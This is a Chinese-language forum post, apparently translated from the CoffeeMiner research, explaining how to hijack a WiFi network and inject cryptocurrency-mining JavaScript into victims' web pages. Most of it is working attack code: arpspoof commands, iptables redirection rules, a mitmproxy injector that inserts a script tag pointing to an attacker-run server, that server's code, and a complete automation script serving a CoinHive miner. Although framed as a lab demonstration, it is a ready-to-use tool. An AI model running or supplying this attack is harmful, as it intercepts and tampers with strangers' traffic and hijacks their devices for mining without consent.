CoffeeMiner：劫持WIFI向HTML请求中注入挖矿脚本

angel010 / 2018-01-10 09:24:31 / 浏览数 4031 技术文章 技术文章 顶(1) 踩(0)

几周前，网上有一篇关于星巴克wifi被劫持进行加密货币挖矿的报道，研究人员觉得这是一个不错的攻击方式。然后就有了下面的研究，本研究的目的是解释如何进行MITM

CoffeeMiner的目的是在目标网络中执行JS脚本。

1. 攻击场景

1.1 场景配置

现实的场景是连接Wifi的笔记本和智能手机，研究人员已经在现实场景中进行了测试，工作正常。本文中进行了虚拟环境的创建。

创建虚拟环境使用的是VirtualBox和Kali
Linux系统。安装好VirtualBox，下载好镜像后，研究人员创建了3个VBox虚拟机。分别饰演3个角色，分别是Victim受害者、attacker攻击者和router/gateway路由器/网关

```
Victim■■■■■■■■■■■■■■■■■■■■■■■
Attacker■■■■■■■CoffeeMiner■■MITM■■■■■■■
Router/gateway■■■■/■■■■■■■■■
```

攻击执行之后，上面的场景会变成下图（MITM）：

需要对设备进行如下配置：

```
Victim
   network adapter:
       eth0: Host-only Adapter
   /etc/network/interfaces:

auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
   address 10.0.2.10
   netmask 255.255.255.0
   gateway 10.0.2.15

Attacker
   network adapter:
       eth0: Host-only Adapter
   /etc/network/interfaces:

auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
   address 10.0.2.20
   netmask 255.255.255.0
   gateway 10.0.2.15

Router / Gateway
   network adapter:
       eth0: Bridged Adapter
       eth1: Host-only Adapter
   /etc/network/interfaces:

auto lo
iface lo inet loopback

auto eth0
iface eth0 inet dhcp

auto eth1
iface eth1 inet static
   address 10.0.2.15
```

```
   netmask 255.255.255.0
```

2. CoffeeMiner代码

2.1 ARPspoofing

首先，要了解MITM攻击的执行方式。

可以用 dsniff 库进行ARP欺骗攻击：

```
arpspoof -i interface -t ipVictim ipGateway
arpspoof -i interface -t ipGateway ipVictim
```

2.2 mitmproxy

mitmproxy是一个允许分析和编辑通过主机的流量的软件工具，在本研究中，研究人员用该工具来注入JS代码到HTML页面中。下面是注入的JS脚本的例子：
```
<script src="http://httpserverIP:8000/script.js"></script>
```

2.3 Injector

一旦拦截到victim的流量，研究人员就对流量进行了修改，注入了脚本。注入使用的mitmproxy API:

```
from bs4 import BeautifulSoup
from mitmproxy import ctx, http
import argparse

class Injector:
   def __init__(self, path):
       self.path = path

   def response(self, flow: http.HTTPFlow) -> None:
       if self.path:
           html = BeautifulSoup(flow.response.content, "html.parser")
           print(self.path)
           print(flow.response.headers["content-type"])
           if flow.response.headers["content-type"] == 'text/html':
               script = html.new_tag(
                   "script",
                   src=self.path,
                   type='application/javascript')
               html.body.insert(0, script)
               flow.response.content = str(html).encode("utf8")
               print("Script injected.")

def start():
   parser = argparse.ArgumentParser()
   parser.add_argument("path", type=str)
   args = parser.parse_args()
   return Injector(args.path)
```

2.4 HTTP服务器

研究人员向HTML文件中注入了一行代码，用来调用JS
加密货币挖矿机。但是，还需要把这个脚本文件应用到HTTP服务器上。研究人员在攻击者机器上实现了一个HTTP服务器：

```
#!/usr/bin/env python
import http.server
import socketserver
import os

PORT = 8000

web_dir = os.path.join(os.path.dirname(__file__), 'miner_script')
os.chdir(web_dir)

Handler = http.server.SimpleHTTPRequestHandler
httpd = socketserver.TCPServer(("", PORT), Handler)
print("serving at port", PORT)
```

```
httpd.serve_forever()
```

上面的代码是一个向受害者提供加密货币矿机的简单HTTP服务器，JS挖矿机被放置在/miner_script目录下，研究人员用的矿机是CoinHive JS挖矿机。

2.5 CoinHive crypto miner

CoinHive 是用来挖门罗币的JS挖矿机，需要用户在网页的浏览时间较长。

3. CoffeeMiner

研究人员把所有之前的概念结合在一起，变成一个自动化的程序，那就是CoffeeMiner。CoffeeMiner脚本可以执行ARPspoofing攻击并设定mitmproxy代理来向受害者HT

为了把受害者的机器变成一个代理，需要配置ip_forwarding和IPTABLES：

```
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
```

在受害者的机器上进行ARPspoofing，我们需要准备一个含有所有受害者IP的victims.txt文件。

```
# get gateway_ip
gateway = sys.argv[1]
print("gateway: " + gateway)
# get victims_ip
victims = [line.rstrip('\n') for line in open("victims.txt")]
print("victims:")
print(victims)

# run the arpspoof for each victim, each one in a new console
for victim in victims:
   os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &")
   os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &")
```

运行ARPspoofing后，还需要运行HTTP服务器：

```
> python3 httpServer.py
```

用mitmproxy运行injector.py

```
> mitmdump -s 'injector.py http://httpserverIP:8000/script.js'
```

3.1 CoffeeMiner最终脚本

coffeeMiner.py脚本的最终代码如下：

```
import os
import sys

#get gateway_ip (router)
gateway = sys.argv[1]
print("gateway: " + gateway)
# get victims_ip
victims = [line.rstrip('\n') for line in open("victims.txt")]
print("victims:")
print(victims)

# configure routing (IPTABLES)
os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
os.system("iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE")
os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080")
os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080")


# run the arpspoof for each victim, each one in a new console
for victim in victims:
   os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &")
   os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &")

# start the http server for serving the script.js, in a new console
os.system("xterm -hold -e 'python3 httpServer.py' &")
```

```
# start the mitmproxy
os.system("~/.local/bin/mitmdump -s 'injector.py http://10.0.2.20:8000/script.js' -T")
```

injector.py脚本：

```
from bs4 import BeautifulSoup
from mitmproxy import ctx, http
import argparse

class Injector:
   def __init__(self, path):
       self.path = path

   def response(self, flow: http.HTTPFlow) -> None:
       if self.path:
           html = BeautifulSoup(flow.response.content, "html.parser")
           print(self.path)
           print(flow.response.headers["content-type"])
           if flow.response.headers["content-type"] == 'text/html':
               print(flow.response.headers["content-type"])
               script = html.new_tag(
                   "script",
                   src=self.path,
                   type='application/javascript')
               html.body.insert(0, script)
               flow.response.content = str(html).encode("utf8")
               print("Script injected.")

def start():
   parser = argparse.ArgumentParser()
   parser.add_argument("path", type=str)
   args = parser.parse_args()
   return Injector(args.path)
```

执行：

```
> python3 coffeeMiner.py RouterIP
```

4. Demo

为了执行上面描述的攻击，需要安装VirtualBox和下面的终端：

一旦完成ARPspoofing攻击，并且准备好injector和HTTP服务器，然后就可以在受害者的收集器上进行网页浏览了。受害者的流量就会经过攻击者的机器(MITM攻击)，激活

Victim访问的HTML页面就会被攻击者注入。

4.1 Demo视频

· VirtualBox demo: https://www.youtube.com/watch?v=wmYJ6Z4LoCA

· WiFi网络和笔记本的demo：https://www.youtube.com/watch?v=-TnzGLUD0DU

5.结论

从上面的demo和创建过程，可以得出结论：很容易在wifi网络中进行这样的自动化攻击。

coffeeMiner完整代码地址：https://github.com/arnaucode/coffeeMiner

http://arnaucode.com/blog/coffeeminer-hacking-wifi-cryptocurrency-miner.html

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板